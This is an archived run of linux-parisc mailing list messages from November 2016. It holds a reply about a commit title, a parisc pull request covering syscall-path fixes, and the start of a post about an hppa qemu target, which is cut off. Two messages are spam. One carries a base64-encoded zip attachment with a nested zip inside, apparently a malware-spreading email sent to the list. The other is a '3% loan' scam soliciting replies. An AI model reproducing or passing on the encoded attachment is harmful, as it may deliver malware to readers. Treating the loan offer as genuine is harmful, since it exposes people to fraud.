        id S932488AbcKBVzm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 2 Nov 2016 17:55:42 -0400
Original-Received: from [10.1.144.2] ([134.3.239.178]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Mb8HX-1cH7fn35UB-00Kcmp; Wed, 02 Nov 2016 22:55:05
 +0100
In-Reply-To: <20161101192512.1cd9bb27@wim.fritz.box>
X-Provags-ID: V03:K0:X7tbiuhVeoRKPFZYE7MBwJMCxhyEbntpvHnb3qQefxbW9Nw6nrj
 RwnByBVQr8XT0+mME2z6i/t0kX4lOx6C7FJSCTWAamuH9FDNkdHMj9pxYDmSnEbrhhHj7dS
 9x9H2F5die6QdUbmMRjYoPJZIMwMx3Q0iX6zFxAHTY9ra+EibOd0GLM65EymXPMHbOO0RLy
 pkYrzICsotTKzst1F4uLw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pM56RIrNbSI=:Td5oH4k4b6EmOxAwBDCMJa
 IiZ8+1ykTfSoHKmporyCIQlRH1OG/u+/gXqDrime0qoMtr/ENnSxwOIB2pzwIwW8RhyhbUZms
 w4K63tSX1dxEbj7gxcYoi65h5PgTxER+1R6wvLxjCn63QUoTiQBEQsYanltJdp7SpRLDkHMHJ
 +UJQeWPKrrQZeDarc5hDTjQOEYAWwo6MZl/d0sWeK7BhRWlbHH2ms7FKHKzYfYEg+e7buuuyn
 wtnf6XUfzzVve0NPzzjbO5Qm146DAv8N280g1IQ/wwm5YGacJx25aoTv+lSL2+z0Biw6v8Rft
 phBQcVJxc/Ph/dQD/7Li/Qy7562SD0pP3NCx2HH3fNKpD+w+LfvUNEBoBgeoyUXlJshWcAJIF
 kIax7d3FgLKUVK9QKOj2eVb05kmGOM5JhJW8sYOTir2H3WMWUFfcZNJKjmin6k6qZdQx437Dx
 KLdnTyW09gTDNG4jxvvFgf7VQGuOZcgh/KjZZxSjjqJt1fWRCwnpt3e9KaCs6PvxPK+Wf3bVm
 pBlTe8UL8OFkDATHoqWvv0O7KIb0TqL6u7H+A7w/5moF6SGVue1vKhRIg3QfcUVFKakUcQd1d
 /uoMhXWQOJEKj4HQVVWUImIrhW/qkRXsMquULiUb5idnNKc5zKhyIWwXYcdAPChXfPXjlBsv1
 cMEIjAA2es5wsVm+OHfMzLhIjQH2G2kiF4d8UHmzNhUl24DQO0Aj0PK6JzXm9tDKvmjZZkZqz
 tltVGmh01e0rHUgt6ZmHUZdPffL5QLo9XgW3JjqUh8kQ8jgrDWCelXfQNqITABoB8pwXehvA 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27034>

On 01.11.2016 19:25, Jeroen Roovers wrote:
> On Mon, 31 Oct 2016 10:26:37 +0100
> Helge Deller <deller@gmx.de> wrote:
> 
>> On 30.10.2016 11:23, Rolf Eike Beer wrote:
>>> Helge Deller wrote:
>>>   
>>>> LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it.  
>>>
>>> value value?  
>>
>> I do see huge value in being able to see where this value is being
>> used. A new developer who uses grep will find the relevant assembler
>> code as well.
> 
> Yes, but "value value"! ;-)

Yes, I'm blind :-)
It took me quite some time (and one additional off-list reminder
from Rolf Eike) to understand that you both meant the commit title :-)
I'll fix it before I send upstream.
Thanks!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes and updates for 4.9-rc3
Date: Wed, 2 Nov 2016 23:36:06 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20161102223606.GA24415@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1478126227 5185 195.159.176.226 (2 Nov 2016 22:37:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 2 Nov 2016 22:37:07 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 02 23:37:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c2491-0005h3-US
	for glpp-linux-parisc@m.gmane.org; Wed, 02 Nov 2016 23:36:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757640AbcKBWgW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 2 Nov 2016 18:36:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64578 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755148AbcKBWgV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 2 Nov 2016 18:36:21 -0400
Original-Received: from ls3530 ([134.3.239.178]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LiHc7-1cfVYu1aoF-00nSlQ; Wed, 02 Nov 2016 23:36:11
 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:DkfNjoPlCppC2wZtRgs0Gd69eEvIuU8mFiFBDFr0r8GjOfKgnB9
 rvrfdKHrwvRSh8n0Ge6Hxafe5vSqz5oyn+hSQk4MlVuDasgM46dsAPOzmzbtJ0TlSuuMqhB
 UXtnwp4OCVtZyWSaddAanXNq6FRq18y51cVBxjKRyIu94/xGWoSZUIM2uzbmlcZGm673lvT
 +6amlX0LJPZkZVJLshFTg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gdExpUtsUc8=:YBVNJje7rmJZpbyuuolpsL
 NdtuoNcQl2v2UJcKu27kdvjGtzR2Gl27/am8kAr1yf1szbq8TgVDAR4MYL29aLNUJjHpnMf+c
 OXmJ4JKN17aB+iPNFHjqp9dRMJne1nf/XAHlpaZeQRVO/qokFgYBsE/cb+0y4d8X4oQA7Au4W
 U8piT71bxqX6We9DaGUzdshGK41RDukpNBZYNxTF08+H/KjCFLyoVAN9QRJGX0DWq+t3i/nco
 1lCm99P2UjMawD7LmidjcDAR7V1BN5YlgxjMr+LC+5zp91tn4yuJ6xE6OBgBLmNkdk14RcjeZ
 uJy20Bjk11HjxUL5AhFhMmb5H6d3V04nkO8zViENaVnY5E6dOGCQyY3udo61g1AMqK5oJC1a7
 7WPZe4+N2W7NFw3NwkdetHdD2Q/utm9bBm0W8ttH17ggsVdru8x31bpKCIY3gzKe+6x9uiHbZ
 otA0Cg93DRhpjJer/6UDUAqNTt6g60YM4rLG/lttm9K85AHLnr9mE2D4QBLBEYz+/Hp/HTrrs
 N8rMS47cCzY9oEVT3Z/+Pb0dTVbSlj1PO7Fsv5R3F39pTs1KiwJAM/qjGlxj737Q4vQNXL7LZ
 mCoH/7nVJt5OajFRnE6z7Kf25r2il4elhN5BR3OVXMENH8JtHcK4O3JBc3K2pTYILpf1H1PTh
 ZDboeBnCYiFktC8k8B8P7+jlluIJVRDgECZA/GFgQSxQfz+I4XkTLNhaHG8JuQot21lqhb1aE
 PEHwGEnhufZ0LtUhWkQjDRoJMD6hqzGEIilfdOe3FqGTIvZxyisuGOWTODI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27035 gmane.linux.kernel:2340824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27035>

Hi Linus,

Please pull some updates and fixes for the parisc architecture for v4.9-rc3 from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.9-3

The first three patches are trivial and add some required KERN_CONT, ignore the new
pkey syscalls on parisc and use the LINUX_GATEWAY_ADDR define instead of hardcoded
values.

The two patches from Dave Anglin are important. The first one avoids trashing
the sr2 and sr3 space registers in the Light-weight syscall path. Especially
the usage of sr3 is critical since it may get trashed by the interrupt handler.
The second patch is even more important and tagged for stable series. It
protects one critical section in the syscall entry path by disabling local
interrupts. Without disabling interrupts, the sr7 space register may not be in
sync with the current stack setup and thus an incoming hardware interrupt may
destroy memory in random userspace areas. 

Thanks,
Helge
----------------------------------------------------------------
Helge Deller (3):
      parisc: use KERN_CONT when printing device inventory
      parisc: Use LINUX_GATEWAY_ADDR define instead of hardcoded value
      parisc: Ignore the pkey system calls for now

John David Anglin (2):
      parisc: Avoid trashing sr2 and sr3 in LWS code
      parisc: Ensure consistent state when switching to kernel stack at syscall entry

 arch/parisc/include/uapi/asm/unistd.h |  4 ++-
 arch/parisc/kernel/drivers.c          |  6 ++--
 arch/parisc/kernel/syscall.S          | 66 ++++++++++++++++++-----------------
 3 files changed, 40 insertions(+), 36 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <m.wierczynska@lask.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: 19610 linux-parisc
Date: Thu, 03 Nov 2016 19:45:02 -0000
Lines: 63
Approved: news@gmane.org
Message-ID: <147820230261.18143.4032143676417968309@cpc11-trow5-2-0-cust131.aztw.cable.virginm.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="EMAIL_57010297_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1478202341 331 195.159.176.226 (3 Nov 2016 19:45:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 3 Nov 2016 19:45:41 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 03 20:45:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c2Nwe-0005Dv-IZ
	for glpp-linux-parisc@m.gmane.org; Thu, 03 Nov 2016 20:45:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756676AbcKCTpH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 3 Nov 2016 15:45:07 -0400
Original-Received: from cpc11-trow5-2-0-cust131.aztw.cable.virginm.net ([77.101.32.132]:37577
        "HELO cpc11-trow5-2-0-cust131.aztw.cable.virginm.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
        id S1754019AbcKCTpH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 3 Nov 2016 15:45:07 -0400
X-Greylist: delayed 300 seconds by postgrey-1.27 at vger.kernel.org; Thu, 03 Nov 2016 15:45:06 EDT
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27036>

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
AAEAWgAAAE4MAAAAAA==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: bancoleite@sms.goiania.go.gov.br
Newsgroups: gmane.linux.ports.parisc
Subject: DO YOU NEED A LOAN?
Date: Sun, 06 Nov 2016 05:00:02 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <20161105233017.18AE95F6DE7@zmail.goiania.go.gov.br>
Reply-To: gbllc1955@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1478389252 9086 195.159.176.226 (5 Nov 2016 23:40:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 5 Nov 2016 23:40:52 +0000 (UTC)
To: Recipients <bancoleite@sms.goiania.go.gov.br>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 06 00:40:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c3AZY-0007xh-8y
	for glpp-linux-parisc@m.gmane.org; Sun, 06 Nov 2016 00:40:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751130AbcKEXka convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 5 Nov 2016 19:40:30 -0400
Original-Received: from correio.goiania.go.gov.br ([200.199.226.131]:35405 "EHLO
        zmail.goiania.go.gov.br" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750850AbcKEXk3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 5 Nov 2016 19:40:29 -0400
X-Greylist: delayed 600 seconds by postgrey-1.27 at vger.kernel.org; Sat, 05 Nov 2016 19:40:28 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by zmail.goiania.go.gov.br (Postfix) with ESMTP id 7440D5F6C13;
        Sat,  5 Nov 2016 21:30:25 -0200 (BRST)
X-Virus-Scanned: amavisd-new at zmail.goiania.go.gov.br
Original-Received: from zmail.goiania.go.gov.br ([127.0.0.1])
        by localhost (zmail.goiania.go.gov.br [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id 4AuC8N9w7mSk; Sat,  5 Nov 2016 21:30:25 -0200 (BRST)
Original-Received: from [192.168.0.105] (unknown [116.68.243.173])
        by zmail.goiania.go.gov.br (Postfix) with ESMTPSA id 18AE95F6DE7;
        Sat,  5 Nov 2016 21:30:16 -0200 (BRST)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27037
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27037>

We offer loan at 3% if interested reply us with your email for full info
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Henderson <rth@twiddle.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.lib.glibc.alpha
Subject: hppa qemu and string functions
Date: Wed, 9 Nov 2016 13:53:28 +0100
Lines: 157
Approved: news@gmane.org
Message-ID: <21645bc2-f005-5e60-d26a-41af60e3c035@twiddle.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------6252A3DA0A2F10EFC1B8A841"
X-Trace: blaine.gmane.org 1478696028 16923 195.159.176.226 (9 Nov 2016 12:53:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 9 Nov 2016 12:53:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: GNU C Library <libc-alpha@sourceware.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 09 13:53:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c4SNh-0002bU-9R
	for glpp-linux-parisc@m.gmane.org; Wed, 09 Nov 2016 13:53:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752546AbcKIMxf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 9 Nov 2016 07:53:35 -0500
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:36852 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752509AbcKIMxf (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 9 Nov 2016 07:53:35 -0500
Original-Received: by mail-wm0-f68.google.com with SMTP id c17so28992062wmc.3
        for <linux-parisc@vger.kernel.org>; Wed, 09 Nov 2016 04:53:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:to:from:subject:cc:message-id:date:user-agent:mime-version;
        bh=rvdw4TzakhvXQSTNFJJkNd6iqL+V+YM8712euMISLRU=;
        b=dBaA4AEMomGXFdsH+IyMBisuuz8c23Vjlh/iI08LeduCN2vk1JC20MUWrpa+qMsH9P
         Z0N8HfJSbxxKEIZje839Qv7QM01i02A/aN+8bCh1N/TXsNuvSKqup0rn/ggkX6wN6Dp2
         MHmvx4ho5hTlxmLz/OR4bZBsb1UW89MYOOlZ1vjNtVMwr/OgqwzuUd6AkxLRAbZezuME
         MjG2oYVrwT+V2OMg4bUPPCbuOAxB0BdmMcCyso2Zt4Ja0Ewlv/Wt6x6HxqddDSy1wNsx
         kasHGJV/6ZluqahQf2uDWbq+VztXHUwfvYP+INNi5BAWq96Kby2Mc/SsZX35ni4mtb5J
         WQ/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:to:from:subject:cc:message-id:date
         :user-agent:mime-version;
        bh=rvdw4TzakhvXQSTNFJJkNd6iqL+V+YM8712euMISLRU=;
        b=XU6H291qo/TaTainiDyPC7rbkvG3qQSRhKRC6wELtCEEzl4cvOyNGEiUZugx/45liy
         1+kFEfydIsBARhkZ57958v36Ju44vCn+0DqilJnIYejpj3+sxQxIaC0UE1VlixTj/Tit
         vJoyGyOZ3H1/MPTvXeKQSnkQmqZwURFDBzMzAro3wkQS2l5z90gXryxsjlPedf+zIiUl
         wIA1Wc41TtF3VBjxVz7gIgEw8ECDR8LorJ1rCSUA54DLvD/wBPPnHb3zwxCHv8ly9KOI
         TZxqWgKvBNAV6nakrfsZZm+l46lVCioSwnOqh0cCDoZyQJgcBUKsH8jVsfGSGniA1B5x
         fCGA==
X-Gm-Message-State: ABUngveb48CkD5rtqRml/YA68nmpPoTTthU6NGSm7yeWpNU28bcVn+nkvH5/vFRsrM1xUQ==
X-Received: by 10.28.0.13 with SMTP id 13mr98972wma.126.1478696013511;
        Wed, 09 Nov 2016 04:53:33 -0800 (PST)
Original-Received: from bigtime.twiddle.net ([87.111.149.139])
        by smtp.googlemail.com with ESMTPSA id w1sm42899600wje.36.2016.11.09.04.53.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 09 Nov 2016 04:53:32 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27038 gmane.comp.lib.glibc.alpha:66916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27038>

This is a multi-part message in MIME format.
--------------6252A3DA0A2F10EFC1B8A841
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit

Off and on, I've been working on a user-only target of hppa to qemu.  It's now 
about 95% working.  If anyone would like to try it out, it's available at

   git://github.com/rth7680/qemu.git tgt-hppa

While implementing the unit-type instructions, I wondered why no one (outside 
hp?) had written a version of the string routines utilizing the UXOR insn, with 
the SomeByteZero and NoByteZero conditions.

